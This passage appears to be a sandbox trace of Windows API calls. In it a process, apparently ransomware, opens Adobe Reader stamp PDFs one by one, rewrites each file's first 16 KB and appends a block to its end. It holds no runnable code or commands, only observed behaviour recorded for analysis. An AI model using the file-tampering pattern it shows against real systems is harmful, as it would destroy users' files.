lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.296] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x168c0 [0033.297] ReadFile (in: hFile=0x1a0, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.298] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x168c0 [0033.298] WriteFile (in: hFile=0x1a0, lpBuffer=0x2623cd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2623cd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.298] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.298] WriteFile (in: hFile=0x1a0, lpBuffer=0x2621ca8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.298] CloseHandle (hObject=0x1a0) returned 1 [0033.299] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0033.300] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.300] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8c96 [0033.300] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.300] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.300] ReleaseMutex (hMutex=0x128) returned 1 [0033.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0033.300] ReadFile (in: hFile=0x1a0, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.302] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7c96 [0033.303] ReadFile (in: hFile=0x1a0, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.306] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7c96 [0033.306] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.307] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.307] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.307] CloseHandle (hObject=0x1a0) returned 1 [0033.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0033.309] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.309] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1c4f5 [0033.309] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.309] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.309] ReleaseMutex (hMutex=0x128) returned 1 [0033.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e632ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0033.309] ReadFile (in: hFile=0x1a0, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.312] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1b4f5 [0033.312] ReadFile (in: hFile=0x1a0, lpBuffer=0x2629968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2629968*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.314] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1b4f5 [0033.315] WriteFile (in: hFile=0x1a0, lpBuffer=0x1deaf48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf48*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.315] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.315] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.315] CloseHandle (hObject=0x1a0) returned 1 [0033.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0033.317] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.317] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x18575 [0033.317] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.317] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.317] ReleaseMutex (hMutex=0x128) returned 1 [0033.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0033.317] ReadFile (in: hFile=0x1a0, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.323] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x17575 [0033.323] ReadFile (in: hFile=0x1a0, lpBuffer=0x2629968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2629968*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.328] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x17575 [0033.328] WriteFile (in: hFile=0x1a0, lpBuffer=0x1deaf48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf48*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.328] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.328] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.328] CloseHandle (hObject=0x1a0) returned 1 [0033.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0033.330] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.330] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x9542 [0033.330] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.330] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.330] ReleaseMutex (hMutex=0x128) returned 1 [0033.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0033.331] ReadFile (in: hFile=0x1a0, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.338] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8542 [0033.338] ReadFile (in: hFile=0x1a0, lpBuffer=0x2629968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2629968*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.338] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8542 [0033.338] WriteFile (in: hFile=0x1a0, lpBuffer=0x1deaf48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf48*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.338] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.338] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.339] CloseHandle (hObject=0x1a0) returned 1 [0033.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0033.340] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.340] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x10873 [0033.340] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.340] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.340] ReleaseMutex (hMutex=0x128) returned 1 [0033.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0033.340] ReadFile (in: hFile=0x1a0, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.342] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf873 [0033.343] ReadFile (in: hFile=0x1a0, lpBuffer=0x2629968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2629968*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.343] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf873 [0033.343] WriteFile (in: hFile=0x1a0, lpBuffer=0x1decf78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1decf78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.343] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.343] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de2de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de2de8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.344] CloseHandle (hObject=0x1a0) returned 1 [0033.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0033.362] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.362] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xeac7 [0033.362] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.362] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.362] ReleaseMutex (hMutex=0x128) returned 1 [0033.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e632ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0033.362] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.365] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xdac7 [0033.365] ReadFile (in: hFile=0x1a0, lpBuffer=0x2629968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2629968*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.366] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xdac7 [0033.366] WriteFile (in: hFile=0x1a0, lpBuffer=0x1deef78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.367] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.367] WriteFile (in: hFile=0x1a0, lpBuffer=0x2621ca8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.367] CloseHandle (hObject=0x1a0) returned 1 [0033.368] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0033.806] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.806] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1c4f5 [0033.806] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.806] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.807] ReleaseMutex (hMutex=0x128) returned 1 [0033.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.807] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0033.807] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.979] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1b4f5 [0033.979] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.986] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1b4f5 [0033.987] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.987] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.987] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.987] CloseHandle (hObject=0x1b0) returned 1 [0033.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 